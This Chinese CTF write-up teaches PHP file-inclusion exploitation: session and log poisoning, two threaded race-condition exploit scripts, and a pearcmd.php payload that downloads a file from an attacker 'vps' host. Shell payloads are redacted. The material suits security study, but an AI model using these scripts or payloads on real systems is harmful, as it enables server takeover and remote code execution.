安全声明:本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为 <PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>。
对应十六进制 PHP payload 已替换为 <HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY>。
文中的危险脚本文件名发布时统一改为 output.txt,避免触发杀软或被误用为可执行脚本。
文件包含
介绍
常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
区别如下:
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来
session文件包含
php的session文件的保存路径可以在phpinfo的session.save_path看到
介绍
Session文件包含是本地文件包含(LFI)漏洞的高级利用方式,攻击者通过:
- 向Session文件中注入恶意PHP代码
- 利用文件包含漏洞执行这些代码
- 获得服务器控制权或读取敏感信息
利用
满足两个条件:
1.Session文件的内容可控,即攻击者可以通过某种方式将恶意代码写入Session文件中。
2.能够获取Session文件的路径,这样才能通过文件包含函数来执行Session文件中的代码
WP
先查看 /etc/passwd
得到

分析
1.系统类型线索:/bin/ash
1
| root:x:0:0:root:/root:/bin/ash
|
- 重要发现:root用户使用的是
/bin/ash,而不是常见的/bin/bash
- 为什么重要:这是Alpine Linux的标志性特征!
- 类比理解:就像看到某人用iPhone而不是Android,就能猜出他用的是苹果生态系统
2.Alpine Linux的Session存储规则
| 系统类型 |
Session默认路径 |
| Ubuntu/Debian |
/var/lib/php/sessions/ |
| CentOS/RHEL |
/var/lib/php/session/ |
| Alpine Linux |
/tmp/ |
| Windows |
C:\Windows\Temp\ |
| 所以推测默认路径是/tmp/ |
|
| 再读取 |
|
1
| /?file=php://filter/convert.base64-encode/resource=action.php
|
得到一串字符,base64解码
1 2 3 4 5 6 7 8 9 10
| <PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY> <!DOCTYPE html> <html> <head> </head> <body> <a href=action.php?file=1.txt>my dairy</a> <a href=action.php?file=2.txt>my booklist</a> </body> </html>
|
抓包看cookie

进入session文件了

蚁剑连接

条件竞争
题目
1 2 3 4 5 6 7 8 9 10
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
分析:
把一些危险字符替换在你的输入请求中
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import io import requests import threading url = 'http://301fdf90-6009-4daa-bab2-37e6d76f58f3.challenge.ctf.show/'
def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>mumuzi' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('muzi.txt', f)}) def read(session): while True: response = session.get(url+'?file=/tmp/sess_flag') if 'mumuzi' in response.text: print(response.text) break else: print('retry')
if __name__ == '__main__': session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read(session)
|
攻击原理
利用机制:利用PHP的session.upload_progress特性
- 当PHP启用此功能时,会将会话上传进度信息写入会话文件
- 攻击者可以控制写入的内容,注入PHP代码
竞争条件:
- 一个线程持续写入恶意代码到会话文件
- 另一个线程(read函数)不断尝试包含并执行这个会话文件
- 通过高速循环增加在文件被清理前成功执行的概率
目标漏洞:目标网站存在文件包含漏洞
- URL参数
?file=/tmp/sess_flag显示网站允许包含任意文件
- 攻击者利用这点包含含有恶意PHP代码的会话文件
日志包含
基本原理
日志文件包含漏洞是一种利用服务器日志记录机制和文件包含漏洞相结合的攻击方式。攻击者通过向日志文件中注入恶意代码,然后利用文件包含漏洞使服务器执行这些代码,从而获取服务器控制权。
主要攻击类型
1. Web中间件日志文件包含
- 常见路径:
- Apache:
/var/log/apache/access.log
- Nginx:
/var/log/nginx/access.log 和 /var/log/nginx/error.log
- 利用条件:
- 知道日志文件的具体位置
- Web服务器对日志文件具有可读权限
- 存在文件包含漏洞
2. 恶意代码注入方式
通过URL参数注入:
- 请求URL包含PHP代码,如:
http://目标/api/<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>
- 需使用Burp Suite等工具避免浏览器自动URL编码
- 请求记录在access.log中后,通过文件包含执行
例如
1
| http://10.226.65.254/api/<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>
|

通过User-Agent头注入:
- 修改请求头中的User-Agent字段,插入PHP代码
- 优势: 可绕过URL参数过滤机制
- 适用于对请求参数严格过滤但未过滤请求头的场景
3. SSH日志文件包含
- 日志路径:
/var/log/auth.log 或 /var/log/secure
- 利用方法:
- 将SSH用户名设置为PHP代码:
ssh '<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>'@目标IP
- 登录失败记录会被写入auth.log
- 通过文件包含漏洞加载日志文件执行代码
- 适用场景: 当Web应用存在文件包含漏洞,且能访问系统认证日志
临时文件包含
原理
当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
利用phpinfo的特性可以很好的帮助我们,因为phpinfo页面会将当前请求上下文中所有变量(所有数据)都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,拿到 临时文件变量名 之后,就可以进行包含执行我们传入的恶意代码。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。但是在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
所有需要条件竞争
1 2 3 4 5
| $_FILES['userfile']['name'] 客户端文件的原名称。 $_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。 $_FILES['userfile']['size'] 已上传文件的大小,单位为字节。 $_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。 $_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。
|
$_FILES['userfile']['name']这个变量值的获取很重要,因为临时文件的名字都是由随机函数生成的,只有知道文件的名字才能正确的去包含它。
获取文件名
文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由php.ini的upload_tmp_dir属性指定,假如upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录中。
不同系统服务器常见的临时文件默认存储目录,了解系统的默认存储路径很重要,因为在很多时候服务器都是按照默认设置来运行的。
Linux目录
Linxu系统服务的临时文件主要存储在根目录的tmp文件夹下,具有一定的开放权限。
Windows目录
Windows系统服务的临时文件主要存储在系统盘Windows文件夹下,具有一定的开放权限。
1 2
| C:/Windows/ C:/Windows/Temp/
|
存储在服务器上的临时文件的文件名都是随机生成的,了解不同系统服务器对临时文件的命名规则很重要,因为有时候对于临时文件我们需要去爆破,此时我们必须知道它的命名规则是什么。
可以通过phpinfo来查看临时文件的信息。
1 2 3
| Linux临时文件主要存储在`/tmp/`目录下,格式通常是(`/tmp/php[6个随机字符]`)
Windows临时文件主要存储在`C:/Windows/`目录下,格式通常是(`C:/Windows/php[4个随机字符].tmp`)
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357
| import sys
import threading
import socket
# setup函数主要作用是生成并返回三个值:
# 1.上传恶意代码的HTTP请求REQ1,一个是标识符TAG,一个用于本地文件包含的HTTP请求LFIREQ
def setup(host, port):
# 设定标识符 TAG 和 恶意载荷 payload
# 设计 上传给phpinfo的超大填充数据包
TAG="Security Test"
PAYLOAD="""%s\r
<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /06/phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /06/lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
# 建立两个HTTP链接,一个是给phpinfo的POST请求,一个是给文件包含页面发送webshell的请求
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
# phpinforeq是第一个POST数据包
s.send(phpinforeq)
# d用于存储从服务器接收到的响应数据
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
# fn为提取到的临时文件路径
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
# 如果接收到的响应数据以 "0\r\n\r\n" 结尾
#(可能表示 HTTP 响应的最后一个分块数据),则也停止接收
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
# 参数检查,如果没有提供足够的参数,程序终止,需要host和port
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
# 解析目标主机,通过gethostbyname将主机名解析为IP地址,若解析失败,返回错误信息退出
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
# 解析端口号,默认80
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
# 线程池默认大小为10
# 如果用户提供了线程池大小的参数(第三个参数),程序会尝试将其转换为整数。
# 如果转换失败(比如非法输入),程序会输出错误信息并退出
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
# 获取偏移量
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
|
利用pearcmd.php从LFI到getshell
条件:register_argc_argv=On

pear可以用来拉取远程的代码
假如我的vps上有一个文件output.txt
如果你远程服务器中/var/www/html中php代码可以被解析,那么你使用pear拉取到的output.txt就是
如果远程服务器上的php没有被解析,拉取到的output.txt就是
所以,当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php,拉取远程服务器上的文件到靶机,再通过文件包含获取shell。
如果靶机出网
我们尝试拉取远程服务器的output.txt到靶机的/tmp目录下
payload
然后文件包含output.txt同时传参cmd即可
解释payload
?file=/usr/local/lib/php/pearcmd.php
- 指定
pearcmd.php 文件的路径。
pearcmd.php 是 PEAR(PHP 扩展和应用库)的命令行工具。
&+install+-R+/tmp+http://vps/output.txt
- 这是
pearcmd.php 的 install 命令的参数。
install:安装指定的包。
-R /tmp:将安装的文件保存到 /tmp 目录。
http://vps/output.txt:从远程服务器下载的恶意文件。
如果靶机不出网,我们可以写一句话木马进hello.php
解释payload
?+config-create+
- 这是 PHP 的
pearcmd.php 工具的一个参数,用于创建配置文件。
pearcmd.php 是 PEAR(PHP 扩展和应用库)的命令行工具。
/&file=/usr/local/lib/php/pearcmd.php&/
- 指定
pearcmd.php 文件的路径。
- 如果服务器上存在
pearcmd.php,这段代码会尝试调用它。
- 这段代码的目的是将恶意 PHP 代码写入目标文件。
- **`+/tmp/hello.php`**
- 指定目标文件的路径,即 `/tmp/hello.php`。
- 如果攻击成功,恶意代码会被写入该文件。
后来看了p牛的文章才知道$SERVER并不认为&符号是参数的分隔符,而是将+号作为分隔符
注意:在传参的时候不能用hackbar,因为<和>会被hackbar编码而不会生效
zip协议.
前置
**zip://是PHP流协议,语法是:zip://zip文件路径#zip内部文件名
它的作用是:允许 PHP 直接读取并执行压缩包内部的文件
第一步:制作木马 写一个 PHP 一句话木马,保存时必须以 .php 结尾,比如命名为 output.txt。
第二步:压缩文件 将 output.txt 压缩成一个 ZIP 压缩包,比如叫 test.zip。
第三步:伪装后缀(绕过上传限制) 将 test.zip 重命名为 test.jpg。
为什么?因为服务器端的上传功能通常只允许 .jpg 格式通过。改成 .jpg 后,服务器就会乖乖把它保存到 upload/test.jpg。但这个文件本质上依然是个 ZIP 压缩包。
注意使用hackbar时将#号转换为%23**
注意使用hackbar时将#号进行 URL 编码转换为%23
polar2026春季挑战杯Pandora Box
根据提示上传一个jpg,访问跳转时报错

查看源码
1
| /index.php?file=php://filter/convert.base64-encode/resource=index
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>Secure Image Loader</title> <style> body { font-family: 'Courier New', monospace; background: #1e1e1e; color: #c0c0c0; text-align: center; padding-top: 50px; } .container { width: 800px; margin: 0 auto; background: #2d2d2d; padding: 30px; border-radius: 8px; box-shadow: 0 0 20px rgba(0,0,0,0.7); } h1 { color: #fff; border-bottom: 2px solid #444; padding-bottom: 10px; } .hint { background: #3c3c3c; padding: 15px; border-left: 5px solid #007bff; text-align: left; margin-bottom: 20px; color: #ddd; } input[type="file"] { background: #444; color: #fff; padding: 10px; border: 1px solid #555; width: 100%; box-sizing: border-box; } .btn { background: #007bff; color: white; border: none; padding: 12px 30px; margin-top: 15px; cursor: pointer; font-size: 16px; transition: 0.3s; } .btn:hover { background: #0056b3; } .log-box { text-align: left; background: #111; color: #ff6b6b; padding: 15px; border: 1px solid #aa0000; margin-top: 20px; font-size: 14px; overflow-x: auto; } .success { color: #51cf66; font-weight: bold; } </style> </head> <body> <div class="container"> <h1>试试吧</h1> <div class="hint"> <p><strong>[提示]:</strong></p> <ul> <li>安全策略:仅允许上传 <strong>.jpg</strong> 或 <strong>.png</strong> 格式</li> <li>执行策略:所有文件最终将被强制视为 <strong>PHP脚本</strong> </li> </ul> </div>
<form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <br> <input type="submit" value="UPLOAD IMAGE" class="btn"> </form>
<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY> </div> </body> </html>
|
1
| /?file=zip://upload/0cd87d5c854a71ec7e3f2e96e8736032.jpg%23shell
|


[参考文献][https://blog.csdn.net/m0_46467017/article/details/126380415]
文章作者: worny